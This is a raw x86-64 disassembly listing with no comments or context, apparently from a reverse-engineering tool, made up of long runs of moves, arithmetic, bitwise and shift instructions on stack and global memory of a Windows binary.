mov qword [0x14017aba8], rax
mov rax, qword [rsp + 0x80c8]
movzx eax, word [rax]
mov rcx, qword [0x14017a7e8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe94], ax
mov rax, qword [rsp + 0x7590]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x96f0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8238]
mov byte [rcx], al
lea rax, [rsp + 0x78]
mov qword [rsp + 0xa190], rax
mov rax, qword [rsp + 0x6fd8]
mov rcx, qword [rsp + 0x7720]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9268]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6be8]
mov qword [rsp + 0xa198], rax
mov eax, dword [rsp + 0x4028]
mov ecx, dword [rsp + 0x3cc0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f24], eax
lea rax, section..data
mov qword [rsp + 0xa1a0], rax
mov rax, qword [rsp + 0x8ab8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x116c]
add eax, ecx
mov word [rsp + 0x1184], ax
movzx eax, word [rsp + 0xe48]
movzx ecx, word [rsp + 0xe68]
imul eax, ecx
mov word [0x140179164], ax
mov rax, qword [0x14017a9b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf20]
and eax, ecx
mov rcx, qword [rsp + 0x8860]
mov word [rcx], ax
mov rax, qword [rsp + 0x6be0]
movzx eax, word [rax]
mov word [rsp + 0x1248], ax
mov rax, qword [rsp + 0x6fa8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9558]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1af], al
lea rax, [rsp + 0x7ef8]
mov qword [rsp + 0xa1a8], rax
mov eax, dword [rsp + 0x3d78]
mov ecx, dword [rsp + 0x4214]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41ec], eax
mov eax, dword [rsp + 0x413c]
mov ecx, dword [rsp + 0x3cfc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x98b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8480]
mov qword [rsp + 0xa1b0], rax
mov rax, qword [rsp + 0x8108]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe54]
sub eax, ecx
mov rcx, qword [rsp + 0x8398]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1d2]
mov rcx, qword [rsp + 0x95c8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x140179076], al
movzx eax, byte [rsp + 0x153]
mov byte [rsp + 0x1d8], al
mov rax, qword [rsp + 0xa0e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x165]
xor eax, ecx
mov rcx, qword [rsp + 0x81d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7298]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8338]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xed4], ax
movzx eax, word [rsp + 0xe34]
mov word [rsp + 0x124c], ax
mov eax, dword [rsp + 0x3e78]
mov rcx, qword [rsp + 0x7e18]
mov qword [rsp + 0xa1b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa1b8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x416c], eax
mov rax, qword [rsp + 0x7af8]
mov rax, qword [rax]
mov qword [rsp + 0xa1c0], rax
mov rax, qword [rsp + 0x9de8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c38]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cc0], eax
mov rax, qword [rsp + 0x8e88]
mov rcx, qword [rsp + 0x7840]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7510]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa0b0]
movzx eax, word [rax]
mov word [0x14017abb0], ax
mov rax, qword [rsp + 0x9278]
movzx eax, byte [rax]
mov byte [rsp + 0x1d9], al
movsx eax, byte [rsp + 0x77]
movsx ecx, byte [rsp + reloc.COMCTL32.dll_DefSubclassProc]
sub eax, ecx
mov rcx, qword [rsp + 0x8120]
mov byte [rcx], al
mov rax, qword [rsp + 0x8670]
movzx eax, byte [rax]
mov byte [rsp + 0x1da], al
mov rax, qword [0x14017aab8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe18]
add eax, ecx
mov word [rsp + 0xe24], ax
mov rax, qword [rsp + 0x8b10]
mov eax, dword [rax]
mov dword [rsp + 0x4230], eax
mov rax, qword [rsp + 0x8030]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7900]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b28], rax
mov rax, qword [rsp + 0x7ad8]
mov rcx, qword [rsp + 0x79c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3f48], eax
lea rax, [rsp + 0x9d58]
mov qword [rsp + 0xa1c8], rax
movsx eax, byte [rsp + 0x152]
mov rcx, qword [rsp + 0x8978]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x14017a5c4], al
mov rax, qword [0x14017a4e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x90d0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xf2c], ax
mov rax, qword [rsp + 0x73a0]
movzx eax, word [rax]
mov word [rsp + 0x1250], ax
movsx eax, byte [rsp + 0x41]
mov rcx, qword [0x14017a700]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5e], al
mov rax, qword [rsp + 0x7438]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1094]
add eax, ecx
mov rcx, qword [rsp + 0x6d28]
mov word [rcx], ax
mov eax, dword [rsp + 0x3d3c]
mov dword [rsp + 0x4234], eax
mov rax, qword [rsp + 0x9ed8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6c50]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x96a8]
mov qword [rcx], rax
lea rax, [rsp + 0x3eec]
mov qword [rsp + 0xa1d0], rax
mov rax, qword [rsp + 0x8c88]
mov rcx, qword [rsp + 0x6fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x81d8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x196]
movzx ecx, byte [str.___nAv]
sar eax, cl
mov byte [0x1401790af], al
mov rax, qword [rsp + 0x90d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xde4]
or eax, ecx
mov word [rsp + 0x11ac], ax
mov rax, qword [rsp + 0x9588]
movzx eax, byte [rax]
mov byte [rsp + 0x1db], al
movsx eax, word [rsp + 0x11f0]
mov rcx, qword [0x14017ab10]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x98e0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdb]
mov byte [rsp + 0x1dc], al
mov rax, qword [rsp + 0x75c8]
mov ecx, dword [rsp + 0x4138]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x70a8]
mov dword [rcx], eax
lea rax, [rsp + 0x7418]
mov qword [rsp + 0xa1d8], rax
mov rax, qword [rsp + 0x9ba8]
mov eax, dword [rax]
mov ecx, dword [0x140179004]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41b0], eax
mov rax, qword [rsp + 0x80e8]
mov rcx, qword [rsp + 0x9eb8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7898], rax
mov rax, qword [0x14017ab58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7e]
sub eax, ecx
mov byte [0x140179043], al
mov rax, qword [rsp + 0x8120]
movzx eax, byte [rax]
mov byte [rsp + 0x1dd], al
movzx eax, word [rsp + 0xfc0]
mov rcx, qword [rsp + 0x9e28]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x81a0]
mov word [rcx], ax
movzx eax, word [0x14017901c]
mov word [rsp + 0x1254], ax
movsx eax, byte [rsp + 0x100]
movsx ecx, byte [rsp + 0xa5]
add eax, ecx
mov byte [rsp + 0xef], al
mov eax, dword [rsp + 0x41d8]
mov ecx, dword [rsp + 0x3ed4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4018], eax
mov rax, qword [rsp + 0x6f50]
mov rax, qword [rax]
mov qword [rsp + 0xa1e0], rax
mov eax, dword [rsp + 0x3d68]
mov ecx, dword [rsp + 0x3c44]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b68], eax
mov rax, qword [rsp + 0x80b0]
mov qword [rsp + 0xa1e8], rax
mov rax, qword [rsp + 0x9c98]
movzx eax, word [rax]
mov rcx, qword [0x14017a6c0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x14017905c], ax
mov rax, qword [rsp + 0x6d50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8560]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9038]
mov byte [rcx], al
movzx eax, byte [rsp + 0x6e]
movzx ecx, byte [rsp + 0xeb]
shl eax, cl
mov rcx, qword [rsp + 0x7f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x8d80]
movzx eax, word [rax]
mov word [rsp + 0x1258], ax
movsx eax, byte [rsp + 0x1c5]
movsx ecx, byte [rsp + 0x71]
sar eax, cl
mov rcx, qword [rsp + 0xa058]
mov byte [rcx], al
lea rax, [rsp + 0x73e8]
mov qword [rsp + 0xa1f0], rax
mov rax, qword [rsp + 0x88a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4154]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3abc], eax
mov eax, dword [rsp + 0x4198]
mov ecx, dword [rsp + 0x4010]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9bf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6c30]
mov qword [rsp + 0xa1f8], rax
movsx eax, word [rsp + 0x10c4]
movsx ecx, word [rsp + 0x1160]
sub eax, ecx
mov word [0x140179168], ax
movzx eax, byte [rsp + 0x1db]
movzx ecx, byte [rsp + 0x4f]
and eax, ecx
mov rcx, qword [rsp + 0x8f10]
mov byte [rcx], al
lea rax, [rsp + 0xd14]
mov qword [rsp + 0xa200], rax
mov rax, qword [0x14017a900]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x79d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7470]
mov byte [rcx], al
mov rax, qword [rsp + 0x8fe8]
movzx eax, word [rax]
mov word [rsp + 0x125c], ax
mov rax, qword [rsp + 0x91d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8de8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7fa0], rax
mov rax, qword [rsp + 0x82c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e08]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d58], eax
lea rax, [rsp + 0x85e0]
mov qword [rsp + 0xa208], rax
mov rax, qword [rsp + 0x6f78]
mov rcx, qword [rsp + 0x7c30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4190], eax
mov rax, qword [rsp + 0x8660]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10a4]
add eax, ecx
mov word [0x140179160], ax
lea rax, [rsp + 0x97]
mov qword [rsp + 0xa210], rax
movzx eax, word [rsp + 0x10e4]
mov rcx, qword [rsp + 0x9bf0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1098], ax
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x80]
sub eax, ecx
mov rcx, qword [rsp + 0x8610]
mov byte [rcx], al
lea rax, [rsp + 0xc20]
mov qword [rsp + 0xa218], rax
mov rax, qword [rsp + 0xa068]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7fa0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8790]
mov qword [rcx], rax
lea rax, [rsp + 0x3f40]
mov qword [rsp + 0xa220], rax
mov rax, qword [rsp + 0x8a60]
mov rcx, qword [rsp + 0x9f68]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7a98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7700]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x71a8]
mov qword [rsp + 0xa228], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa228]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x40a4], eax
mov rax, qword [rsp + 0x82d0]
movzx eax, word [rax]
mov word [rsp + 0x1260], ax
lea rax, [rsp + 0xe24]
mov qword [0x14017abb8], rax
movzx eax, byte [rsp + 0xe7]
movzx ecx, byte [0x14017902e]
sar eax, cl
mov rcx, qword [rsp + 0x6c28]
mov byte [rcx], al
lea rax, [rsp + 0x17a]
mov qword [rsp + 0xa230], rax
mov rax, qword [rsp + 0x6d28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1050]
xor eax, ecx
mov rcx, qword [rsp + 0x7cb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7b50]
mov rax, qword [rax]
mov qword [rsp + 0xa238], rax
mov rax, qword [rsp + 0x7748]
mov rcx, qword [rsp + 0x9000]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8c80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9520]
mov ecx, dword [rsp + 0x4030]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c98], eax
mov eax, dword [rsp + 0x3f8c]
mov dword [rsp + 0x4238], eax
movzx eax, byte [rsp + 0x58]
movzx ecx, byte [rsp + 0x1c1]
and eax, ecx
mov rcx, qword [rsp + 0x7640]
mov byte [rcx], al
mov rax, qword [rsp + 0xa0e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9750]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017a4fb], al
mov rax, qword [0x14017a690]
movzx eax, word [rax]
mov word [rsp + 0x1264], ax
movzx eax, byte [rsp + 0x141]
mov rcx, qword [rsp + 0x7618]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7dc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x91b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ec0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x71a0]
mov byte [rcx], al
lea rax, [rsp + 0x7970]
mov qword [rsp + 0xa240], rax
mov rax, qword [rsp + 0x9628]
mov ecx, dword [rsp + 0x3f58]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa0f8]
mov qword [rsp + 0xa248], rax
mov rax, qword [rsp + 0x8c68]
mov ecx, dword [section..data]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x41a8], eax
mov rax, qword [rsp + 0x8860]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeb8]
sub eax, ecx
mov rcx, qword [rsp + 0x70e8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1124]
mov word [0x14017abc0], ax
lea rax, [rsp + 0xe20]
mov qword [rsp + 0xa250], rax
mov rax, qword [rsp + 0x82d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x86f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf20], ax
movzx eax, byte [rsp + 0xe8]
mov byte [rsp + 0x1de], al
mov rax, qword [rsp + 0x7680]
mov rcx, qword [rsp + 0x7848]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c38], eax
mov rax, qword [rsp + 0x9e08]
mov eax, dword [rax]
mov ecx, dword [section..data]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4140], eax
lea rax, [rsp + 0x8200]
mov qword [rsp + 0xa258], rax
mov rax, qword [rsp + 0x8b90]
mov rcx, qword [rsp + 0x7840]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x77d0], rax
lea rax, [rsp + 0x12b]
mov qword [rsp + 0xa260], rax
mov rax, qword [rsp + 0x9750]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9a78]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x140179086], al
movsx eax, word [rsp + 0xe24]
mov rcx, qword [rsp + 0x9728]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xe58], ax
movzx eax, word [rsp + 0xf08]
mov word [rsp + 0x1268], ax
mov rax, qword [rsp + 0xa100]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6d68]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x89e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8388]
movzx eax, word [rax]
mov rcx, qword [0x14017a9d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xdcc], ax
lea rax, [rsp + 0x7f08]
mov qword [rsp + 0xa268], rax
mov rax, qword [rsp + 0x7a68]
mov rcx, qword [rsp + 0x8f90]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7318], rax
lea rax, [rsp + 0x3f64]
mov qword [rsp + 0xa270], rax
mov rax, qword [0x14017a4d8]
mov rcx, qword [rsp + 0x78c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8c78]
mov dword [rcx], eax
lea rax, [rsp + 0x137]
mov qword [0x14017abc8], rax
movsx eax, byte [rsp + 0x6b]
movsx ecx, byte [0x14017901b]
add eax, ecx
mov byte [rsp + 0x119], al
movzx eax, word [rsp + 0xda0]
mov word [rsp + 0x126c], ax
mov rax, qword [rsp + 0x9348]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7248]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7c88]
mov word [rcx], ax
lea rax, [rsp + 0xeb0]
mov qword [rsp + 0xa278], rax
mov rax, qword [rsp + 0x9780]
mov rcx, qword [rsp + 0x9a30]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x96a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7290]
mov rcx, qword [rsp + 0x9798]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7950]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4098]
mov dword [rsp + 0x423c], eax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x4170]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c88], eax
mov rax, qword [rsp + 0x98a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x71]
xor eax, ecx
mov rcx, qword [0x14017aa68]
mov byte [rcx], al
movzx eax, byte [rsp + 0x18b]
mov byte [rsp + 0x1df], al
mov rax, qword [rsp + 0x9d40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x63]
sar eax, cl
mov rcx, qword [rsp + 0x82b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c80]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9ab0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xbd], al
lea rax, [0x140179098]
mov qword [rsp + 0xa280], rax
mov rax, qword [rsp + 0x7e90]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8580]
mov qword [rsp + 0xa288], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa288]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x6c68]
mov dword [rcx], eax
lea rax, [rsp + 0x3d40]
mov qword [rsp + 0xa290], rax
mov rax, qword [rsp + 0xa1f0]
mov rcx, qword [rsp + 0x8ac0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7508]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7210]
mov rax, qword [rax]
mov qword [rsp + 0xa298], rax
lea rax, [rsp + 0xc7]
mov qword [0x14017abd0], rax
mov rax, qword [rsp + 0x87a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10e4]
imul eax, ecx
mov word [rsp + 0xca4], ax
mov rax, qword [0x14017a818]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x195]
sub eax, ecx
mov byte [rsp + 0x168], al
mov rax, qword [rsp + 0x88e0]
movzx eax, word [rax]
mov word [rsp + 0x1270], ax
mov rax, qword [rsp + 0x81a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcc0]
sub eax, ecx
mov rcx, qword [rsp + 0x98c8]
mov word [rcx], ax
lea rax, [0x14017a4d0]
mov qword [rsp + 0xa2a0], rax
mov rax, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0x9408]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6f90], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x3fa4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fbc], eax
lea rax, [rsp + 0x9810]
mov qword [rsp + 0xa2a8], rax
lea rax, [rsp + 0xe80]
mov qword [0x14017abd8], rax
mov rax, qword [rsp + 0x9618]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
and eax, ecx
mov byte [rsp + 0x7f], al
mov rax, qword [0x14017a810]
movzx eax, word [rax]
mov word [rsp + 0x1274], ax
mov rax, qword [rsp + 0x7028]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7928]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xea], al
mov rax, qword [rsp + 0x93c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1d6]
add eax, ecx
mov byte [rsp + 0xa4], al
lea rax, [rsp + 0x7418]
mov qword [rsp + 0xa2b0], rax
mov rax, qword [rsp + 0x92e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e88]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7328]
mov rax, qword [rax]
mov qword [rsp + 0xa2b8], rax
mov rax, qword [rsp + 0x7828]
mov ecx, dword [rsp + 0x41b4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3dac], eax
movzx eax, word [rsp + 0x1210]
movzx ecx, word [rsp + 0x1158]
sar eax, cl
mov word [0x14017a708], ax
lea rax, [rsp + 0xe50]
mov qword [rsp + 0xa2c0], rax
mov rax, qword [0x14017ab08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x148]
shl eax, cl
mov byte [rsp + 0x1da], al
movsx eax, byte [rsp + 0x18d]
movsx ecx, byte [rsp + 0xf1]
xor eax, ecx
mov rcx, qword [rsp + 0x77f8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x5c]
mov byte [rsp + 0x1e0], al
mov eax, dword [0x140179004]
cdq
mov ecx, 0x3033
idiv ecx
mov dword [rsp + 0x4058], eax
lea rax, [rsp + 0xa0d0]
mov qword [rsp + 0xa2c8], rax
mov rax, qword [rsp + 0x90f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e68]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9e08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x84f8]
mov rcx, qword [rsp + 0x6a20]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8630]
mov qword [rcx], rax
lea rax, [rsp + 0xc7c]
mov qword [0x14017abe0], rax
movzx eax, byte [rsp + 0x1c9]
mov byte [rsp + 0x1e1], al
movzx eax, byte [rsp + 0x15b]
movzx ecx, byte [rsp + 0x192]
sub eax, ecx
mov rcx, qword [rsp + 0x6d68]
mov byte [rcx], al
movzx eax, word [rsp + 0xca8]
mov word [rsp + 0x1278], ax
mov rax, qword [rsp + 0x6eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd54]
sub eax, ecx
mov rcx, qword [rsp + 0x82f0]
mov word [rcx], ax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x3bc8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9e08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7690]
mov qword [rsp + 0xa2d0], rax
mov rax, qword [rsp + 0x9988]
mov rcx, qword [rsp + 0x6cf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6c00], rax
mov rax, qword [rsp + 0x9e80]
mov eax, dword [rax]
mov dword [rsp + 0x4240], eax
mov rax, qword [rsp + 0x72e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc2c]
add eax, ecx
mov word [0x140179050], ax
movzx eax, byte [rsp + 0x1ad]
movzx ecx, byte [rsp + 0x69]
and eax, ecx
mov byte [rsp + 0x11d], al
movzx eax, word [0x1401790ac]
movzx ecx, word [rsp + 0x1034]
sub eax, ecx
mov rcx, qword [rsp + 0x86f0]
mov word [rcx], ax
lea rax, [rsp + 0xab]
mov qword [rsp + 0xa2d8], rax
mov rax, qword [rsp + 0x9598]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8090]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xca0], ax
mov eax, dword [rsp + 0x4008]
mov dword [rsp + 0x4244], eax
mov rax, qword [rsp + 0xa1d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9810]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8d28], rax
mov rax, qword [rsp + 0x6a68]
mov qword [rsp + 0xa2e0], rax
mov rax, qword [rsp + 0x8368]
mov ecx, dword [0x140179004]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3f6c], eax
movsx eax, byte [rsp + 0x96]
mov rcx, qword [rsp + 0x8ea0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1a6], al
mov rax, qword [rsp + 0x8b18]
movsx eax, word [rax]
movsx ecx, word [0x140179024]
sar eax, cl
mov word [0x14017916c], ax
lea rax, [rsp + 0x11a8]
mov qword [rsp + 0xa2e8], rax
mov rax, qword [rsp + 0x9ec8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8058]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x89], al
lea rax, [rsp + 0xe40]
mov qword [rsp + 0xa2f0], rax
mov rax, qword [rsp + 0x9908]
mov rcx, qword [rsp + 0x8bc8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x95f8], rax
mov rax, qword [rsp + 0x9610]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3dec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7658]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6f78]
mov eax, dword [rax]
mov dword [rsp + 0x4248], eax
mov rax, qword [rsp + 0x7610]
mov rcx, qword [rsp + 0x8e78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x75f0]
mov qword [rcx], rax
lea rax, [rsp + 0x11b4]
mov qword [rsp + 0xa2f8], rax
mov rax, qword [rsp + 0x9558]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa090]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017901a], al
mov rax, qword [0x14017ab70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf5c], ax
movsx eax, byte [rsp + 0x149]
movsx ecx, byte [rsp + 0x1be]
add eax, ecx
mov byte [rsp + 0xdb], al
lea rax, [rsp + 0x1080]
mov qword [rsp + 0xa300], rax
mov rax, qword [rsp + 0x89c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4060]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa070]
mov dword [rcx], eax
lea rax, [rsp + 0x41c0]
mov qword [rsp + 0xa308], rax
mov rax, qword [rsp + 0x6c98]
mov rcx, qword [rsp + 0x8818]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8708], rax
lea rax, [rsp + 0xa1b0]
mov qword [rsp + 0xa310], rax
mov rax, qword [rsp + 0xa210]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9858]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x87], al
mov rax, qword [rsp + 0x7b80]
movsx eax, word [rax]
mov rcx, qword [0x14017a8a8]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x140179170], ax
movzx eax, word [rsp + 0xd64]
mov rcx, qword [rsp + 0xa300]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x119c], ax
mov rax, qword [rsp + 0x7880]
movzx eax, byte [rax]
mov byte [rsp + 0x1e2], al
movsx eax, byte [rsp + 0x18b]
movsx ecx, byte [0x14017a5c5]
shl eax, cl
mov byte [rsp + 0x18f], al
lea rax, [rsp + 0x3fc0]
mov qword [rsp + 0xa318], rax
mov eax, dword [rsp + 0x3e04]
mov ecx, dword [rsp + 0x3cf0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4048], eax
mov rax, qword [rsp + 0x9140]
mov rcx, qword [0x140179010]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f08]
mov qword [rcx], rax
lea rax, [rsp + 0x9260]
mov qword [rsp + 0xa320], rax
mov rax, qword [rsp + 0xa2f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e28]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x74c8]
mov word [rcx], ax
mov rax, qword [0x14017ab70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8898]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401790b4], ax
